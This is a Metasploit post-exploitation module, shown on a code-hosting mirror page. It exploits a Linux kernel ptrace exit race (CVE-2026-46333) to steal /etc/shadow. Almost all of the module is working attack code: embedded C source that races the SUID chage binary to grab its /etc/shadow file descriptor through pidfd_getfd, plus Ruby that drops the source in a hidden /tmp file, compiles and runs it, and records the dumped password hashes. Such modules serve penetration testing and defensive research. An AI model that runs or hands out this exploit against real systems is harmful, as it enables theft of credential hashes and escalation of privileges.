Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/cve_2026_46333_chage.rb
74550 views
1
##
2
# This module requires Metasploit Framework
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
include Msf::Post::File
9
include Msf::Post::Linux
10
include Msf::Post::Linux::System
11
include Msf::Post::Linux::Kernel
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Linux Kernel __ptrace_may_access() Exit Race chage File Disclosure',
19
'Description' => %q{
20
This module exploits a race condition in the Linux kernel
21
do_exit() teardown path affecting __ptrace_may_access().
22
23
During process termination, privileged file descriptors may
24
remain accessible through pidfd_getfd() after task->mm becomes
25
NULL, allowing sensitive file disclosure from privileged SUID
26
binaries such as chage.
27
28
This module targets chage to disclose /etc/shadow.
29
30
This module performs information disclosure only and does not
31
create a new session.
32
},
33
'License' => MSF_LICENSE,
34
'Author' => [
35
'0xdeadbeefnetwork', # Original POC author
36
'bhaskarbhar' # Metasploit module author
37
],
38
'References' => [
39
[ 'CVE', '2026-46333' ],
40
[ 'URL', 'https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn' ]
41
],
42
'Platform' => [ 'linux' ],
43
'SessionTypes' => [ 'shell', 'meterpreter' ],
44
'DisclosureDate' => '2026-05-14',
45
'Notes' => {
46
'AKA' => [ 'ssh-keysign-pwn' ],
47
'Stability' => [ CRASH_SAFE ],
48
'Reliability' => [ REPEATABLE_SESSION ],
49
'SideEffects' => [ ARTIFACTS_ON_DISK ]
50
}
51
)
52
)
53
54
register_options([
55
OptString.new(
56
'WRITABLE_DIR',
57
[ true, 'Writable directory for exploit compilation', '/tmp' ]
58
),
59
60
OptInt.new(
61
'RACE_ROUNDS',
62
[ true, 'Number of race attempts', 500 ]
63
)
64
])
65
end
66
67
def check
68
version = kernel_release.to_s.strip
69
70
if version.nil? || version.empty?
71
return Exploit::CheckCode::Unknown(
72
'Unable to determine kernel version'
73
)
74
end
75
76
vprint_status("Detected kernel version: #{version}")
77
78
unless command_exists?('gcc')
79
return Exploit::CheckCode::Unknown(
80
'gcc is missing; exploit cannot compile'
81
)
82
end
83
84
unless file?('/usr/bin/chage')
85
return Exploit::CheckCode::Unknown(
86
'chage target binary not present'
87
)
88
end
89
90
unless setuid?('/usr/bin/chage') || stat('/usr/bin/chage').setgid?
91
return Exploit::CheckCode::Unknown(
92
'chage does not appear to have SGID/SUID permissions'
93
)
94
end
95
96
ptrace_scope = yama_ptrace_scope
97
98
if ptrace_scope > 0
99
vprint_warning(
100
"ptrace_scope=#{ptrace_scope} may reduce exploit reliability"
101
)
102
end
103
104
clean_version = version
105
.split('-')
106
.first
107
.split('+')
108
.first
109
110
kernel = Rex::Version.new(clean_version)
111
112
if kernel < Rex::Version.new('5.6.0')
113
return Exploit::CheckCode::Safe(
114
"Kernel #{version} is older than vulnerable range"
115
)
116
end
117
118
if kernel >= Rex::Version.new('6.15.0')
119
return Exploit::CheckCode::Detected(
120
"Kernel #{version} may contain vendor backports or fixes"
121
)
122
end
123
124
Exploit::CheckCode::Appears(
125
"Kernel #{version} appears vulnerable to CVE-2026-46333"
126
)
127
end
128
129
def exploit_source
130
<<~EOF
131
#define _GNU_SOURCE
132
133
#include <stdio.h>
134
#include <stdlib.h>
135
#include <string.h>
136
#include <unistd.h>
137
#include <errno.h>
138
#include <fcntl.h>
139
#include <signal.h>
140
#include <sys/syscall.h>
141
#include <sys/wait.h>
142
143
#ifndef __NR_pidfd_open
144
#define __NR_pidfd_open 434
145
#endif
146
147
#ifndef __NR_pidfd_getfd
148
#define __NR_pidfd_getfd 438
149
#endif
150
151
int main(int argc, char **argv)
152
{
153
int rounds = 500;
154
155
if (argc > 1) {
156
rounds = atoi(argv[1]);
157
}
158
159
for (int round = 0; round < rounds; round++) {
160
161
pid_t child = fork();
162
163
if (child == 0) {
164
165
int dn = open("/dev/null", O_RDWR);
166
167
dup2(dn, 1);
168
dup2(dn, 2);
169
170
execl("/usr/bin/chage",
171
"chage",
172
"-l",
173
"root",
174
(char *)NULL);
175
176
_exit(127);
177
}
178
179
int pidfd = syscall(__NR_pidfd_open, child, 0);
180
181
if (pidfd < 0) {
182
waitpid(child, NULL, 0);
183
continue;
184
}
185
186
int stolen = -1;
187
188
for (int attempt = 0;
189
attempt < 30000 && stolen < 0;
190
attempt++) {
191
192
for (int fd = 3; fd < 32; fd++) {
193
194
int s = syscall(__NR_pidfd_getfd,
195
pidfd,
196
fd,
197
0);
198
199
if (s < 0) {
200
continue;
201
}
202
203
char path[256] = {0};
204
char linkpath[64];
205
206
snprintf(linkpath,
207
sizeof(linkpath),
208
"/proc/self/fd/%d",
209
s);
210
211
ssize_t n = readlink(linkpath,
212
path,
213
sizeof(path) - 1);
214
215
if (n > 0) {
216
path[n] = 0;
217
}
218
219
if (strstr(path, "/etc/shadow")) {
220
221
stolen = s;
222
223
fprintf(stderr,
224
"[+] Stole fd %d -> %s\\n",
225
fd,
226
path);
227
228
break;
229
}
230
231
close(s);
232
}
233
}
234
235
if (stolen >= 0) {
236
237
char buf[8192];
238
239
lseek(stolen, 0, SEEK_SET);
240
241
ssize_t n;
242
243
while ((n = read(stolen,
244
buf,
245
sizeof(buf))) > 0) {
246
247
fwrite(buf, 1, n, stdout);
248
}
249
250
close(stolen);
251
close(pidfd);
252
253
waitpid(child, NULL, 0);
254
255
return 0;
256
}
257
258
close(pidfd);
259
260
waitpid(child, NULL, 0);
261
}
262
263
fprintf(stderr,
264
"[-] Failed after all race attempts\\n");
265
266
return 1;
267
}
268
EOF
269
end
270
271
def run
272
checkcode = check
273
274
if checkcode == Exploit::CheckCode::Safe
275
fail_with(Failure::NotVulnerable,
276
'Target does not appear vulnerable')
277
end
278
279
unless directory?(datastore['WRITABLE_DIR'])
280
fail_with(Failure::BadConfig,
281
'Writable directory does not exist')
282
end
283
284
base = ".#{Rex::Text.rand_text_alpha(6)}"
285
286
c_path = "#{datastore['WRITABLE_DIR']}/#{base}.c"
287
bin_path = "#{datastore['WRITABLE_DIR']}/#{base}"
288
289
print_status("Writing exploit source to #{c_path}")
290
291
write_file(c_path, exploit_source)
292
293
register_file_for_cleanup(c_path)
294
295
print_status('Compiling exploit payload')
296
297
compile = create_process('gcc', args: ['-O2', c_path, '-o', bin_path], time_out: 120)
298
299
vprint_status(compile) unless compile.nil? || compile.empty?
300
301
unless file?(bin_path)
302
fail_with(Failure::Unknown,
303
'Exploit compilation failed')
304
end
305
306
chmod(bin_path, 0o700)
307
308
register_file_for_cleanup(bin_path)
309
310
print_status(
311
"Launching race with #{datastore['RACE_ROUNDS']} attempts"
312
)
313
314
output = create_process(bin_path, args: [datastore['RACE_ROUNDS'].to_s], time_out: 30)
315
316
if output.nil? || output.empty?
317
fail_with(Failure::Unknown,
318
'Exploit returned no output')
319
end
320
321
if output.include?('$')
322
323
print_good('Successfully disclosed /etc/shadow')
324
325
passwd_file = read_file('/etc/passwd')
326
report_linux_hashdump(passwd_file, output)
327
328
print_line
329
print_line(output)
330
331
else
332
333
print_error(
334
'Race attempts completed but no matching /etc/shadow file descriptor was recovered'
335
)
336
337
vprint_status(output)
338
end
339
end
340
341
end
342
343